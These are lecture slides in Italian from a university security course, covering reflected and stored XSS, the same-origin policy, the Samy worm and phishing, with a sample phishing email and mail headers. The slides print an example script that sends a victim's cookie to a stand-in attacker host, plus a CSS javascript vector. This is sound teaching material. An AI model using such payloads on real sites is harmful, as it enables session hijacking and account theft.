Elementi di Sicurezza e Privatezza Lezione 16 Web Security - Code Injection (2) Chiara Braghin chiara.braghin@unimi.it
XSS Cross Site Scripting
Cosa è XSS? (1) Forma di attacco in cui l attaccante è in grado di eseguire del codice arbitrario (script) nella pagina Web visualizzata da un altro utente Compromette il client, non il server 2
Cosa è XSS? (2) Obiettivi dell attacco: Rubare cookie di sessione Eseguire azioni (anche in modo implicito) per le quali solo l utente attaccato ha i privilegi Visualizzare contenuti falsi o modificati Diffondere l attacco postando il codice nella pagina di un social network, facendo in modo che tutti gli amici dell utente vengano infettati 3
Cosa è XSS? (3) Un attacco XSS inserisce uno script (script injection) nella(e) pagina(e) generata(e) da un server Web Metodi per inserire lo script : Reflected XSS ( tipo 1, detto anche non persistente) L utente che subisce l attacco segue un link malizioso che lo rimanda ad un server vulnerabile che scrive l attacco XSS nella risposta Il contenuto della pagina spedita come risposta dal server viene modificata in modo non permanente ed esclusivamente per le richieste HTTP che utilizzano tale URL appositamente forgiato Lo script, contenuto in qualche modo nel link malizioso, viene spedito all utente come parte di una pagina del server vulnerabile Stored XSS ( tipo 2, detto anche persistente) L attaccante salva il codice malizioso tra le risorse gestite dal server Web vulnerabile (per esempio un DB), ad esempio inserendolo come commento Il contenuto della pagina viene modificato permanentemente, quindi tutti gli utenti che successivamente accedono al sito Web gestito da tale server sono potenzialmente attaccabili 4
Come inserire lo script? Form URL Feed RSS, sistemi integrati, ecc. 5
Reflected XSS - esempio (1) Supponiamo che sul sito victim.com ci sia un campo di ricerca: http://victim.com/search.php? term = apple E che search.php a lato server sia: <HTML><TITLE>Risultati della ricerca</title> <BODY> Risultati per <?php echo $_GET[term]?> :... </BODY> </HTML> 6
Reflected XSS - esempio (2) Si consideri il seguente link (generato dall attaccante badguy.com): http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Cosa succede se l utente fa click sul link? Il browser va a victim.com/search.php Victim.com ritorna la seguente pagina: <HTML> Risultati per <script> </script> Il browser esegue lo script: Spedisce a badguy.com il cookie dell utente 7
Reflected XSS - esempio (3) Attaccante 1. L utente riceve il link cattivo www.attacker.com http://victim.com/search.php? term = <script>... </script> 2. L utente fa click sul link Client vittima 2. Il server vittima rimanda indietro senza verificarlo l input dell utente www.victim.com <html> Risultati per <script> window.open(http://attacker.com?... document.cookie...) </script> </html> Server Vittima 8
Reflected XSS - in generale (1) 1 4 Script injection Durante l esecuzione dello script, spedisce dati confidenziali Attaccante Client vittima 3 2 Riflette l input indietro all utente senza verificarlo Spedisce (inconsapevolmente) lo script Server Vittima 9
Reflected XSS - in generale (2) Possibile quando un server Web è dinamico e genera una pagina utilizzando dati inseriti dal client mediante i parametri della richiesta HTTP o di un form, senza verificarli In questo caso il server si dice XSS vulnerable 10
Reflected XSS - in generale (3) 1. Alice spesso visita il sito di Bob, che è un server XSS vulnerable e ha i privilegi per memorizzare i dati sensibili di Alice 2. Eve osserva quanto sopra, crea un URL che sfrutta tale vulnerabilità e spedisce ad Alice una mail con l URL (che punta al sito di Bob, ma contiene uno script malizioso ) 3. Alice visita l URL e lo script di Eve viene eseguito dal browser di Alice, come se venisse direttamente da Bob 11
Same-origin policy dei browser (1) Detta anche cross-domain security policy Introdotta da Netscape Navigator 2.0 Limita l interazione tra pagine Web che provengono da domini diversi Gli script possono accedere solo alle proprietà (cookie, oggetti DOM) di documenti che hanno la stessa origine NB1: i link, i frame, le immagini, i fogli di stile e gli script possono appartenere e provenire da domini diversi 12
Same-origin policy dei browser (2) Origin: protocol, hostname, port, ma non il path Same Origin http://www.examplesite.org/here http://www.examplesite.org/there stesso protocollo: http, host: examplesite, default port 80 All Different Origins http://www.examplesite.org/here https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Protocollo diverso: http vs. https, porte diverse: 80 vs. 8080, host diversi: examplesite vs. hackerhome 13
Same-origin policy dei browser (3) Con l attacco XSS viene bypassata la same-origin policy! 14
Esempio: attacco a PayPal Attacco del 2006: Gli utenti vengono contattati via email e gli viene richiesto di accedere ad un URL che si trova sul sito (legittimo) di PayPal Del codice iniettato nell URL ridireziona i visitatori ad una pagina che comunica loro che i loro account sono stati compromessi Le vittime vengono quindi redirette ad un sito (non legittimo!!) dove veniva loro chiesto di inserire i loro dati sensibili Riferimento: http://www.acunetix.com/news/paypal.htm 15
Stored XSS - in generale (1) Attaccante Client vittima 4 Rilascio di dati confidenziali 2 3 Richiesta di una pagina 1 Inserimento dello script malizioso Riceve lo script malizioso Server Vittima 16
Stored XSS - in generale (2) Possibile grazie a siti con online message board dove gli utenti possono inserire messaggi formattati in HTML Scenario: 1. Eve posta in un social network un messaggio con un corpo malizioso 2. Quando Bob legge il messaggio, lo script malizioso legge il cookie di Bob e lo spedisce a Eve 3. Eve ora può impersonare Bob 17
Stored XSS - esempio (1) Attacco a MySpace.com (il Worm Samy) Gli utenti possono postare codice HTML nelle loro pagine MySpace.com verifica che l HTML non contenga <script>, <body>, onclick, <a href=javascript://> ma Javascript nei tag CSS è permesso: <div style= background:url( javascript:alert(1) ) > Con un attento Javascript hacking: Il worm Samy infetta chiunque visiti una pagina di MySpace infettata, e aggiunge Samy come amico In 24 ore Samy aveva milioni di amici!! 18
Stored XSS - esempio (2) Stored XSS tramite immagini Si supponga che il file foto.jpg contenga HTML La richiesta http://site.com/foto.jpg ha come risposta: HTTP/1.1 200 OK Content-Type: image/jpeg <html> scherzetto! </html> Il browser visualizzerà la risposta come HTML, non curante del Content-Type Si supponga che esista un sito di condivisione foto che permette di scaricare le immagini..cosa succede se un utente scarica un immagine che è uno script? 19
XSS: Come difendersi? A lato server: Analizzare i dati in input e "depurire" i parametri in ingresso degli elementi potenzialmente nocivi (i.e., tag HTML, apici, simboli utilizzati dal linguaggio di programmazione, ) A lato client: mantenere aggiornati i browser, le ultime versioni includono un filtro per questo tipo di attacchi Firefox: Content Security Policy 20
Phishing
Phishing Attività illegale che pesca utenti in rete e li porta a visitare un sito Web malizioso che recupera a loro insaputa informazioni personali o riservate Obiettivo: Recuperare le credenziali di accesso usate per il servizio di homebanking che la maggior parte delle banche/istituti di credito mettono a disposizione dei propri clienti Trasferimento illecito di soldi (ovviamente all insaputa della vittima) 22
Funzionamento Le vittime vengono indotte ad inserire i propri dati in un sito Web che simula graficamente quello ufficiale I dati inseriti vengo memorizzati ed usati dall attaccante per avere accesso al vero sito come un normale cliente 23
Come pescare le vittime? (1) Delle mail fasulle inducono la vittima a visitare il finto sito: La mail contiene quasi sempre avvisi di particolari situazioni o problemi che richiedono l accesso alla parte del sito autenticata (un addebito enorme, la scadenza dell'account, ecc.) Il link presente nella mail indirizza l utente al sito di phishing e non al sito ufficiale 24
Come pescare le vittime? (2) ATTACCANTE @ @ @ 1. L attaccante invia a migliaia di indirizzi internet una mail spacciandosi per un istituto bancario Gentile utente, per motivi di sicurezza la invitiamo al più presto a controllare il proprio account personale. http://www.banklinknet.it 2. L utente riceve la mail dove gli viene chiesto di cliccare su di un link ed inserire i propri codici d accesso ATTACCANTE 3. I codici inseriti arrivano direttamente all attacante che li userà per i suoi scopi illeciti 25
Come riconoscere l attacco? (1) Alcune parti della mail, se osservate con attenzione, possono segnalare che si tratta di una comunicazione anomala : indirizzo del mittente del messaggio Italiano stentato: errori ortografici, di sintassi o di coniugazione verbi, in quanto generata da un traduttore automatico link ad una pagina esterna segnalazioni di blocco del conto, minacce di chiusura del conto o di servizi, piuttosto che segnalazioni di vittorie o premi a patto che si inseriscano i codici personali 26
Come riconoscere l attacco? (2) Mittente fasullo Il mittente rapport@sanpaolo.com è un indirizzo sospetto che una banca difficilmente utilizzerebbe per le sue comunicazioni ufficiali 27
Come riconoscere l attacco? (3) Italiano zoppicante: Gentile Cliente, Gruppo Poste spa premia il suo account con un bonus di fedeltã. Per ricevere il bonus à necesario accedere ai servizi online entro 48 ore dalla ricezione di questa e-mail. Importo bonus vinto: euro 250,00; Commissioni: euro 1,00; Importo totale: euro 251,00 Accedi ai servizi online per accreditare il bonus fedeltã. Per ulteriori informazioni consulta il sito web. La ringraziamo per aver scelto i nostri servizi. Distinti Saluti Gruppo Poste spa 28
Come riconoscere l attacco? (4) Il testo del link (1) non coincide con il vero URL Infatti il browser verrà indirizzato ad un IP (2) che corrisponde al sito fasullo 29
Come difendersi? (1) Analizzare il codice sorgente della mail << X-Account-Key: account2 X-UIDL: 26965 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 Return-Path: <rapport@sanpaolo.com> Received: from vsmtp20.tin.it (192.168.70.95) by ims3a.cp.tin.it (7.2.072.1) id 4421EA10006D86D2 for ****************@tin.it; Wed, 15 Apr 2006 04:19:32 +0200 Received: from mail.luanett.com.br (201.11.204.2) by vsmtp20.tin.it (7.2.072.1) id 4405C7C102F5CF4A for freddy_net@tin.it; Wed, 5 Apr 2006 04:18:27 +0200 Message-ID: <4405C7C102F5CF4A@vsmtp20.tin.it> (added by postmaster@virgilio.it) Received: (qmail 27756 invoked by uid 1020); 4 Apr 2006 23:18:22-0300 Received: from 81.181.170.26 by cometa (envelope-from <rapport@sanpaolo.com>, uid 89) with qmail-scanner-1.24-st-qms (clamdscan: 0.80/633. spamassassin: 2.64. perlscan: 1.24-st-qms. Clear:RC:0(81.181.170.26):SA:0(4.7/5.0):. Processed in 5.119488 secs); 05 Apr 2006 02:18:22-0000 X-Spam-Status: No, hits=4.7 required=5.0 X-Spam-Level: ++++ X-Antivirus-Luanett-Mail-From: rapport@sanpaolo.com via cometa X-Antivirus-Luanett: 1.24-st-qms (Clear:RC:0(81.181.170.26):SA:0(4.7/5.0):. Processed in 5.119488 secs Process 27729) Received: from user-ip-26-170-181-81-sel.rdsnav.ro (HELO service) (service@81.181.170.26) by mail.luanett.com.br with SMTP; 4 Apr 2006 23:18:17-0300 Reply-To: <no0reply@sanpaolo.com> From: "Banca San Paolo IMI"<rapport@sanpaolo.com> Subject: Important Circa Il *** Imminente Di Cliente Di Bank Della Squadra Del Internet Date: Wed, 5 Apr 2006 06:18:03 +0300 MIME-Version: 1.0 >> 30
Come difendersi? (2) Received: from 81.181.170.26 Utilizzando uno dei siti che mettono a disposizione il servizio WHO IS è possibile ottenere maggiori informazioni sull indirizzo IP di partenza. In questo caso risulta che l host sia in Romania E sicuramente una buona ragione per dubitare che la provenienza della mail sia la Banca San Paolo. 31
Esempio (1) 32
Esempio (2) 33
Esempio (3) L URL del sito inizia con HTTP invece che con HTTPS Molto strano che un sito cosi importante utilizzi protocolli non sicuri per l autenticazione degli utenti! 34
Esempio (4) 35
Statistiche I più bersagliati sono i clienti di Poste Italiane e di Intesa S. Paolo, seguiti da quelli di Cartasì, ma non mancano i soliti ebay e PayPal In tutti i casi esaminati i siti di phishing sono praticamente indistinguibili dall originale, se non per qualche dettaglio 36